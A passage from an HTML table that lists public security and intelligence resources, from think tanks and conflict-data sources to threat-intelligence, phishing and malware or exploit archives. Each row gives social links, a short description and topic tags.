media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>NTI is a nonprofit global security organization focused on reducing nuclear and biological threats imperiling humanity.</td><td>GLOBAL</td><td>geopolitics</td></tr>
<tr><td><a href='https://www.armscontrol.org'>Arms Control</a><br><a href='https://twitter.com/armscontrolnow'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/armscontrol'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/armscontrol'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Working to eliminate the threats posed by the world's most dangerous weapons</td><td>GLOBAL</td><td>terrorism</td></tr>
<tr><td><a href='https://reliefweb.int'>ReliefWeb</a><br><a href='https://twitter.com/reliefweb'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/reliefweb'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/reliefweb1996'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/reliefweb'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>ReliefWeb is a humanitarian information service provided by the United Nations Office for the Coordination of Humanitarian Affairs (OCHA)</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.sipri.org'>SIPRI</a><br><a href='http://www.facebook.com/sipri.org'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.youtube.com/user/SIPRIorg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Stockholm International Peace Research Institute (SIPRI) is an independent international institute dedicated to research into conflict, armaments, arms control and disarmament. Established in 1966, SIPRI provides data, analysis and recommendations, based on open sources.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://rusi.org'>RUSI</a><br><a href='https://twitter.com/RUSI_org'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/RUSI.org'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/royal-united-services-institute'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/user/RUSIONLINE'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>The Royal United Services Institute (RUSI) is the world's oldest and the UK's leading defence and security think tank. Our mission is to inform, influence and enhance public debate to help build a safer and more stable world.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.conflictarm.com'>Conflict Arm</a><br><a href='https://twitter.com/conflictarm'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Established in 2011, Conflict Armament Research generates unique evidence on weapon supplies into armed conflicts in order to inform and support effective weapon management and control.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.crisisgroup.org'>Crisis Group</a><br><a href='https://twitter.com/CrisisGroup'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/crisisgroup'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/crisisgroup'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/international-crisis-group'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/user/crisisgroup'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>The International Crisis Group is an independent organisation working to prevent wars and shape policies that will build a more peaceful world. Crisis Group sounds the alarm to prevent deadly conflict.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.opensanctions.org'>OpenSanctions</a><br><a href='https://twitter.com/open_sanctions'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>OpenSanctions helps investigators find leads, allows companies to manage risk and enables technologists to build data-driven products.</td><td>GLOBAL</td><td>geopolitics</td></tr>
<tr><td><a href='https://www.csis.org'>CSIS</a><br><a href='https://twitter.com/csis'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/CSIS.org'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/csis'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/user/csisdc'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://www.instagram.com/csis'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>The Center for Strategic and International Studies (CSIS) is a bipartisan, nonprofit policy research organization dedicated to advancing practical ideas to address the world's greatest challenges. Its purpose is to define the future of national security.</td><td>GLOBAL</td><td>geopolitics</td></tr>
<tr><td><a href='https://www.smallarmssurvey.org'>Small Arms Survey</a><br><a href='https://twitter.com/SmallArmsSurvey'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/SmallArmsSurvey'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='http://www.youtube.com/user/SmallArmsSurvey'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/small-arms-survey'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>For over 20 years, the Small Arms Survey has provided impartial, evidence-based, and policy-relevant knowledge on all aspects of small arms and armed violence to governments, policymakers, researchers, and civil society.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.prio.org'>PRIO</a><br><a href='https://twitter.com/PRIOresearch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/PRIO.org'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/prioresearch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>The Peace Research Institute Oslo (PRIO) conducts research on the conditions for peaceful relations between states, groups and people.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://milex.un-arm.org'>MILEX</a><br></td><td>Since 1981, many countries have regularly reported their military expenditure to the United Nations. This helps enhance transparency in armaments and contributes to international security by fostering trust and confidence among countries. Access to all information from the UN Report on Military Expenditures database is now a click away.</td><td>GLOBAL</td><td>terrorism</td></tr>
<tr><td><a href='https://databank.worldbank.org'>DataBank</a><br></td><td>World Development Indicators (WDI) is the primary World Bank collection of development indicators, compiled from officially recognized international sources. It presents the most current and accurate global development data available, and includes national, regional and global estimates.</td><td>GLOBAL</td><td>economics</td></tr>
<tr><td><a href='https://ti-defence.org'>TI Defence</a><br><a href='https://twitter.com/TI_Defence'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Transparency International Defence & Security works towards a world where governments, the armed forces, and arms transfers are transparent, accountable, and free from corruption.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://correlatesofwar.org'>COW</a><br><a href='https://twitter.com/correlatesofwar'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Correlates Of War (COW) seeks to facilitate the collection, dissemination, and use of accurate and reliable quantitative data in international relations.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.vx-underground.org'>VX Underground</a><br><a href='https://twitter.com/vxunderground'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://t.me/+njfLzUrqos01ZWNh'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a></td><td>The largest collection of malware source code, samples, and papers on the internet.</td><td>GLOBAL</td><td>malware,exploit,vulnerability</td></tr>
<tr><td><a href='https://maldatabase.com'>Maldatabase</a><br><a href='https://twitter.com/maldatabase'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Maldatabase is designed to help malware data science and threat intelligence feeds.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://fraudguard.io'>FraudGuard</a><br><a href='https://twitter.com/fraudguard_io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/fraudguard'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>FraudGuard is a service designed to provide an easy way to validate usage by continuously collecting and analyzing real-time internet traffic. Utilizing just a few simple API endpoints we make integration as simple as possible and return data such as: Risk Level, Threat Type, Geo Location, etc.</td><td>GLOBAL</td><td>malware,network,web</td></tr>
<tr><td><a href='https://dataplane.org'>Dataplane</a><br><a href='https://twitter.com/Dataplaneorg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Internet engineers, analysts, incident responders, and supporting organizations must be aware of trends, anomalies, threats, and misconfigurations that originate from within and outside their networks. Dataplane.org is a provider of data (signals), analysis, and statistics that increases the awareness which leads to a more robust and secure Internet.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://cyware.com/community/ctix-feeds'>Cyware Feeds</a><br><a href='https://twitter.com/cywareco'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/Cywareco'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/cyware'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCBPcVKjzXijVkBWwV3wNjag'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Free Cyware Threat Intelligence Feeds</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://malwaretech.com'>MalwareTech</a><br><a href='https://twitter.com/MalwareTechBlog'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://facebook.com/MalwareTech'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://instagram.com/malwaretech'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/in/MalwareTech'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Cyber Security, Tech, Analysis.</td><td>GLOBAL</td><td>individual,malware,exploit,vulnerability</td></tr>
<tr><td><a href='https://openphish.com'>OpenPhish</a><br></td><td>OpenPhish provides actionable intelligence data on active phishing threats.</td><td>GLOBAL</td><td>phishing</td></tr>
<tr><td><a href='https://threatfeeds.io'>ThreatFeeds</a><br><a href='https://twitter.com/threatfeeds_io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Free and open-source threat intelligence feeds.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://honeydb.io'>HoneyDB</a><br><a href='https://twitter.com/HoneyPyLog'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>HoneyDB provides real time data of honeypot activity. This data comes from honeypot sensors deployed globally on the Internet.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://antiscan.me'>AntiScan</a><br></td><td>Scan your file online with multiple different antiviruses without distributing the results of your scan.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://phishing-initiative.eu'>Phishing Initiative</a><br></td><td>Phishing Initiative ables any Internet user to help fight against phishing attacks.</td><td>GLOBAL</td><td>phishing</td></tr>
<tr><td><a href='https://threatcop.com/phishing-url-checker'>ThreatCop Phishing</a><br><a href='https://twitter.com/threatcop'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/threatcop'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/@threatcop'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Phishing URL Checker detects malicious links instantly. It provides you with real-time results to help you detect if a URL is legitimate or a phishing link. So, don't fret if you come across any suspicious links. Just use this phishing link scanner to protect yourself against malicious links, phishing scams and suspicious websites.</td><td>GLOBAL</td><td>phishing</td></tr>
<tr><td><a href='https://phishstats.info'>PhishStats</a><br><a href='https://twitter.com/PhishStats'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://t.me/joinchat/AAAAAElZRwd0aBrYTaHHcQ'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://github.com/eschultze'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a><a href='https://twitter.com/e_schultze_'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Fighting phishing and cybercrime since 2014 by gathering, enhancing and sharing phishing information with the infosec community.</td><td>GLOBAL</td><td>phishing</td></tr>
<tr><td><a href='https://exploit.kitploit.com'>KitPloit Exploits</a><br><a href='https://twitter.com/KitPloit'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/KitPloit'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>KitPloit Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://www.seebug.org'>SeeBug</a><br><a href='https://twitter.com/seebug_team'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Seebug is an authoritative security vulnerability community platform for vulnerability reference, sharing and learning, and an authoritative vulnerability library in China.</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://www.orfonline.org'>ORF</a><br><a href='https://www.facebook.com/Observer-Research-Foundation-184850724955326'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://twitter.com/orfonline'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.instagram.com/orfonline'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/observer-research-foundation'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCkcjGxTW_mLZmmEfWP2UMtQ'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://t.me/orftg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a></td><td>Set up in 1990, Observer Research Foundation (ORF) seeks to lead and aid policy thinking towards building a strong and prosperous India in a fair and equitable world. It helps discover and inform India's choices, and carries Indian voices and ideas to forums shaping global debates. ORF provides non-partisan, independent analyses and inputs on matters of security, strategy, economy, development, energy, resources and global governance to diverse decision-makers (governments, business communities, academia, civil society). ORF's mandate is to conduct in-depth research, provide inclusive platforms and invest in tomorrow's thought leaders today.</td><td>GLOBAL</td><td>geopolitics,terrorism,economics</td></tr>
<tr><td><a href='https://www.verdict.co.uk/verdict-network'>Verdict Network</a><br><a href='https://twitter.com/VerdictUK'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/globaldataplc'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/globaldataplc'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Publications in the Verdict network cover multi-sector business and innovation news with speed, accuracy and intelligence.</td><td>GLOBAL</td><td>geopolitics,economics</td></tr>
<tr><td><a href='https://watcher.guru'>Watcher Guru</a><br><a href='https://twitter.com/watcherguru'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://instagram.com/watcher.guru'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://youtube.com/c/watcherguru'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://t.me/watcherguru'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a></td><td>Watcher Guru gives you unparalleled coverage of automated cryptocurrency tracking in real-time.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://safeairspace.net'>Safe Air Space</a><br><a href='https://twitter.com/_opsgroup'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/weareopsgroup'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>The Conflict Zone & Risk Database provides a single, independent, and eternally free resource for all airspace risk warnings, so that airlines and aircraft operators can easily see the current risk picture for unfamiliar airspace.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
